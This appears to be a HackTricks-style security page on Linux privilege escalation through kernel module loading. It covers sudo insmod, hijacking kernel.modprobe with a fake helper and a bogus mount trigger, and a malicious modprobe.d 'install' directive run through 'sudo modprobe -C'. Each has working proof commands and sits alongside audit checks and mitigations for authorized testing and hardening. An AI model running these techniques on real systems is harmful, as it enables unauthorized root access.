kernel-modules-and-modprobe.md (14513B)
1 --- 2 title: "Kernel Modules and modprobe Abuse" 3 section: "Linux" 4 sectionSlug: "linux-hardening" 5 sourcePath: "src/linux-hardening/main-system-information/kernel-modules-and-modprobe.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/linux-hardening/main-system-information/kernel-modules-and-modprobe.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # Kernel Modules and modprobe Abuse 14 15 ## Kernel module and module-loading misconfigurations 16 17 Kernel module support is a high-impact area during Linux privilege escalation review. Do not treat every unsigned-module message as exploitable by itself, but use it to answer practical questions.<sup>[[1]](#references)[[2]](#references)[[3]](#references)[[8]](#references)[[9]](#references)[[10]](#references)</sup> 18 19 - Can the current user load modules through `sudo`, capabilities, or a writable helper path? 20 - Is module loading still enabled? 21 - Is module signature enforcement disabled? 22 - Are module directories, module files, or `modprobe.d` configuration paths writable?<sup>[[16]](#references)</sup> 23 - Can kernel logs be read to confirm what happened? 24 25 Quick triage starts with the following module-status, signature, logging, and module-tree checks.<sup>[[1]](#references)[[2]](#references)[[6]](#references)[[8]](#references)</sup> 26 27 ```bash 28 uname -a 29 uname -r 30 cat /proc/sys/kernel/modules_disabled 2>/dev/null 31 grep -Eo '(^| )module\.sig_enforce(=[^ ]*)?' /proc/cmdline 2>/dev/null 32 grep -E '^(CONFIG_STATIC_USERMODEHELPER|CONFIG_STATIC_USERMODEHELPER_PATH)=' "/boot/config-$(uname -r)" 2>/dev/null 33 grep -E '^(CONFIG_MODULE_SIG|CONFIG_MODULE_SIG_FORCE)=' "/boot/config-$(uname -r)" 2>/dev/null 34 cat /proc/sys/kernel/dmesg_restrict 2>/dev/null 35 dmesg 2>/dev/null | grep -Ei 'module|signature|taint|verification' 36 find /lib/modules/$(uname -r) -type d -writable -ls 2>/dev/null 37 find /lib/modules/$(uname -r) -type f -name '*.ko*' -writable -ls 2>/dev/null 38 ``` 39 40 Interpretation: 41 42 - `modules_disabled=1` means modules can be neither loaded nor unloaded, and the value cannot be reset to `0` until reboot.<sup>[[1]](#references)</sup> 43 - `module.sig_enforce=1` on the kernel command line or `CONFIG_MODULE_SIG_FORCE=y` requires validly signed modules; otherwise, unsigned modules may load and taint the kernel.<sup>[[2]](#references)</sup> 44 - `dmesg_restrict=0` imposes no restriction on `dmesg`; when it is `1`, access requires `CAP_SYSLOG`.<sup>[[1]](#references)</sup> 45 - Writable paths under `/lib/modules/$(uname -r)/` are dangerous because `modprobe` searches that tree and its dependency data when loading modules.<sup>[[8]](#references)</sup> 46 47 ### Loading a module and reading kernel output 48 49 If you have legitimate permission to load a local module, `insmod` inserts the exact `.ko` file you provide. The module's init function runs as part of the load, and messages written with `printk()` go to the kernel log buffer, which is normally read with `dmesg`.<sup>[[3]](#references)[[4]](#references)[[5]](#references)[[6]](#references)</sup> 50 51 A minimal review workflow uses `modinfo` to inspect metadata, `insmod` and `rmmod` to load and remove a module, `lsmod` to confirm loaded state, and `dmesg` to inspect kernel logs.<sup>[[4]](#references)[[6]](#references)[[12]](#references)[[13]](#references)[[14]](#references)</sup> 52 53 ```bash 54 ls -l ./example.ko 55 modinfo ./example.ko 2>/dev/null 56 sudo insmod ./example.ko 57 lsmod | grep -i example 58 dmesg | tail -n 30 59 sudo rmmod example 60 dmesg | tail -n 30 61 ``` 62 63 If `sudo -l` allows `insmod`, `modprobe`, or a wrapper around them, treat it as critical: `sudo -l` lists the invoking user's privileges, and loading a kernel module requires `CAP_SYS_MODULE`. See [Linux capabilities](/hacktricks/linux-hardening/interesting-files-permissions/linux-capabilities#cap_sys_module) for direct capability-based paths.<sup>[[3]](#references)[[9]](#references)[[10]](#references)</sup> 64 65 ```bash 66 sudo -l 67 sudo /sbin/insmod ./example.ko 68 ``` 69 70 ### Sudo-allowed `insmod` 71 72 A sudo rule that allows a user to run `insmod` is not comparable to allowing a normal administrative helper. The module's initialization code runs as part of insertion, so the practical review question is whether this user can choose or modify the module being loaded.<sup>[[3]](#references)</sup> 73 74 The following generic review flow repeats those inspection, load, state, log, and removal checks for a candidate module.<sup>[[4]](#references)[[6]](#references)[[12]](#references)[[13]](#references)[[14]](#references)</sup> 75 76 ```bash 77 sudo -l 78 ls -l ./candidate.ko 79 modinfo ./candidate.ko 2>/dev/null 80 sudo /sbin/insmod ./candidate.ko 81 lsmod | grep -i candidate 82 dmesg | tail -n 30 83 sudo /sbin/rmmod candidate 84 ``` 85 86 If the user can provide an arbitrary `.ko`, the rule should be treated as full system compromise in an authorized assessment. A safer operational pattern is to avoid delegating module loading through sudo; if it is unavoidable, restrict the exact path, ownership, permissions, signing policy, and removal workflow.<sup>[[3]](#references)[[10]](#references)</sup> 87 88 For a harmless module-building pattern in a controlled lab, a minimal source and Makefile are shown below; the `make -C /lib/modules/$(uname -r)/build M=$PWD` form follows the kernel's documented kbuild workflow for external modules.<sup>[[5]](#references)[[7]](#references)</sup> 89 90 ```c 91 #include <linux/module.h> 92 #include <linux/kernel.h> 93 94 static int __init demo_init(void) { 95 printk(KERN_INFO "demo module loaded\n"); 96 return 0; 97 } 98 99 static void __exit demo_exit(void) { 100 printk(KERN_INFO "demo module unloaded\n"); 101 } 102 103 module_init(demo_init); 104 module_exit(demo_exit); 105 MODULE_LICENSE("GPL"); 106 ``` 107 108 ```makefile 109 obj-m += demo.o 110 111 all: 112 make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules 113 114 clean: 115 make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean 116 ``` 117 118 Build and load only in an authorized lab; kbuild builds the external module and the load/remove commands invoke the kernel module interfaces.<sup>[[3]](#references)[[4]](#references)[[5]](#references)[[7]](#references)</sup> 119 120 ```bash 121 make 122 sudo insmod demo.ko 123 dmesg | tail -n 20 124 sudo rmmod demo 125 ``` 126 127 ### `kernel.modprobe` / `modprobe_path` abuse checks 128 129 `kernel.modprobe` names the userspace helper the kernel executes for module autoload requests; this sysctl affects autoloading, not explicit module insertion. If an attacker can change it to a writable executable path and trigger a module request, that helper becomes a privileged code-execution path. Setting it to the empty string disables autoload requests; if `CONFIG_STATIC_USERMODEHELPER=y`, a non-empty value is overridden by the compiled-in static helper path.<sup>[[1]](#references)</sup> 130 131 Check the current helper path through the kernel sysctl interface and inspect the target's ownership and mode.<sup>[[1]](#references)</sup> 132 133 ```bash 134 cat /proc/sys/kernel/modprobe 2>/dev/null 135 sysctl kernel.modprobe 2>/dev/null 136 ls -l "$(cat /proc/sys/kernel/modprobe 2>/dev/null)" 2>/dev/null 137 ``` 138 139 Check whether the sysctl, delegated sudo rules, or file capabilities can be influenced.<sup>[[1]](#references)[[9]](#references)[[10]](#references)[[15]](#references)</sup> 140 141 ```bash 142 ls -l /proc/sys/kernel/modprobe 143 sudo -l | grep -E 'sysctl|tee|bash|sh|modprobe' 144 getcap -r / 2>/dev/null | grep -E 'cap_sys_admin|cap_sys_module' 145 ``` 146 147 The following lab-only pattern changes the helper path and triggers a documented module-autoload request; use it only on an isolated, authorized system.<sup>[[1]](#references)</sup> 148 149 On current Linux kernels, do not use an unknown executable as a generic trigger: legacy custom binary-format module autoloading was removed in Linux 6.14, while the kernel documentation identifies an unknown filesystem type as a module-autoload request path.<sup>[[1]](#references)[[11]](#references)</sup> 150 151 ```bash 152 # Example only: requires permission to write kernel.modprobe 153 printf '#!/bin/sh\nid > /tmp/modprobe-helper-ran\n' > /tmp/helper 154 chmod +x /tmp/helper 155 echo /tmp/helper | sudo tee /proc/sys/kernel/modprobe 156 157 # Trigger a documented module-autoload request (requires mount privilege) 158 sudo mount -t definitely-not-a-filesystem none /mnt 2>/dev/null || true 159 cat /tmp/modprobe-helper-ran 2>/dev/null 160 ``` 161 162 On hardened systems, this should fail when permissions prevent unprivileged writes to `kernel.modprobe`, the helper path is not writable, or module autoloading is disabled.<sup>[[1]](#references)</sup> 163 164 ### Writable `modprobe.d` configuration and `sudo modprobe -C` 165 166 Before resolving a module, `modprobe` reads `.conf` files from configuration directories such as `/etc/modprobe.d`, `/run/modprobe.d`, `/usr/local/lib/modprobe.d`, `/usr/lib/modprobe.d`, and `/lib/modprobe.d`, in precedence order. A same-named file in a higher-priority directory shadows the lower-priority file. More importantly, an `install <module> <command>` directive runs an arbitrary shell command **instead of** inserting that module. Therefore, a writable configuration path can become delayed command execution under the credentials of a later privileged `modprobe` caller; kernel module signature enforcement does not authenticate this userspace command.<sup>[[16]](#references)</sup> 167 168 Audit directory and file permissions, then inspect the effective configuration. `modprobe -n -v` is safe for resolution review because dry-run mode neither inserts the module nor executes an `install`/`remove` command. Prefer `modprobe -c` over the legacy `--showconfig` spelling, which current kmod documentation marks for removal after kmod 36.<sup>[[8]](#references)[[16]](#references)</sup> 169 170 ```bash 171 for d in /etc/modprobe.d /run/modprobe.d /usr/local/lib/modprobe.d /usr/lib/modprobe.d /lib/modprobe.d; do 172 [ -e "$d" ] || continue 173 find "$d" -maxdepth 1 -writable -ls 2>/dev/null 174 done 175 176 grep -RHE '^[[:space:]]*(install|remove|alias|blacklist)[[:space:]]' \ 177 /etc/modprobe.d /run/modprobe.d /usr/local/lib/modprobe.d \ 178 /usr/lib/modprobe.d /lib/modprobe.d 2>/dev/null 179 modprobe -c 2>/dev/null | grep -E '^(install|remove|alias|blacklist)[[:space:]]' 180 modprobe -n -v <module_name> 181 ``` 182 183 An unrestricted sudo rule for `modprobe` is exploitable even when arbitrary `.ko` files cannot pass signature verification: `-C` selects an attacker-controlled configuration directory, from which an `install` command can be executed by the sudo-launched process.<sup>[[8]](#references)[[16]](#references)</sup> 184 185 ```bash 186 # Authorized lab proof for an unrestricted `sudo modprobe` rule 187 D="$(mktemp -d)" 188 printf '%s\n' 'install ht_probe /bin/sh -c "id > /tmp/ht-modprobe-id"' > "$D/00-ht.conf" 189 sudo /sbin/modprobe -C "$D" ht_probe 190 cat /tmp/ht-modprobe-id 191 ``` 192 193 For mitigation, do not grant argument-unrestricted `modprobe` through sudo, keep every configuration directory root-owned and non-writable, and review unexpected `install`/`remove` directives. When a trusted administrative workflow must bypass such directives for one module, `modprobe --ignore-install` ignores them for that named module, but dependencies can still have their own commands.<sup>[[8]](#references)[[16]](#references)</sup> 194 195 ### Writable `/lib/modules` review 196 197 Writable module directories can allow module replacement, malicious module planting, or auto-load abuse depending on how `modprobe` is later invoked; `modprobe` searches `/lib/modules/$(uname -r)` and uses its dependency data when resolving modules.<sup>[[8]](#references)</sup> 198 199 Review writable module files and dependency/alias metadata under the active kernel release's module tree.<sup>[[8]](#references)</sup> 200 201 ```bash 202 KREL="$(uname -r)" 203 find "/lib/modules/$KREL" -type d -writable -ls 2>/dev/null 204 find "/lib/modules/$KREL" -type f -name '*.ko*' -writable -ls 2>/dev/null 205 find "/lib/modules/$KREL" -type f \( -name 'modules.dep' -o -name 'modules.alias' -o -name 'modules.order' \) -writable -ls 2>/dev/null 206 ``` 207 208 If you find writable module content, inspect how `modprobe` resolves dependencies and how `modinfo` reports module metadata.<sup>[[8]](#references)[[12]](#references)</sup> 209 210 ```bash 211 modprobe --show-depends <module_name> 2>/dev/null 212 modinfo <module_name> 2>/dev/null 213 grep -R "<module_name>" /lib/modules/$(uname -r)/modules.* 2>/dev/null 214 ``` 215 216 Defensive notes: 217 218 - Keep `/lib/modules` owned by `root:root` and non-writable by users.<sup>[[8]](#references)</sup> 219 - Set `kernel.modules_disabled=1` after boot where operationally possible.<sup>[[1]](#references)</sup> 220 - Enforce module signing on systems that require loadable modules.<sup>[[2]](#references)</sup> 221 - Monitor writes to `/proc/sys/kernel/modprobe`, `/lib/modules`, and the `modprobe.d` configuration directories, plus unexpected `insmod`/`modprobe` execution.<sup>[[1]](#references)[[8]](#references)[[16]](#references)</sup> 222 223 224 ## References 225 226 - [1] [Documentation for /proc/sys/kernel/ — The Linux Kernel documentation](https://docs.kernel.org/admin-guide/sysctl/kernel.html) 227 - [2] [Kernel module signing facility — The Linux Kernel documentation](https://www.kernel.org/doc/html/latest/admin-guide/module-signing.html) 228 - [3] [init_module(2) — Linux manual page](https://man7.org/linux/man-pages/man2/init_module.2.html) 229 - [4] [insmod(8) — Linux manual page](https://man7.org/linux/man-pages/man8/insmod.8.html) 230 - [5] [Driver Basics — The Linux Kernel documentation](https://docs.kernel.org/driver-api/basics.html) 231 - [6] [Message logging with printk — The Linux Kernel documentation](https://docs.kernel.org/core-api/printk-basics.html) 232 - [7] [Building External Modules — The Linux Kernel documentation](https://docs.kernel.org/kbuild/modules.html) 233 - [8] [modprobe(8) — Linux manual page](https://man7.org/linux/man-pages/man8/modprobe.8.html) 234 - [9] [sudo(8) — Linux manual page](https://man7.org/linux/man-pages/man8/sudo.8.html) 235 - [10] [capabilities(7) — Linux manual page](https://man7.org/linux/man-pages/man7/capabilities.7.html) 236 - [11] [Merge tag 'execve-v6.14-rc1' — torvalds/linux](https://github.com/torvalds/linux/commit/fadc3ed9ce1cd9ecc5c8be8875f7ec11ab3a7ebe) 237 - [12] [modinfo(8) — Linux manual page](https://man7.org/linux/man-pages/man8/modinfo.8.html) 238 - [13] [lsmod(8) — Linux manual page](https://man7.org/linux/man-pages/man8/lsmod.8.html) 239 - [14] [rmmod(8) — Linux manual page](https://man7.org/linux/man-pages/man8/rmmod.8.html) 240 - [15] [getcap(8) — Linux manual page](https://man7.org/linux/man-pages/man8/getcap.8.html) 241 - [16] [modprobe.d(5) — Linux manual page](https://man7.org/linux/man-pages/man5/modprobe.d.5.html)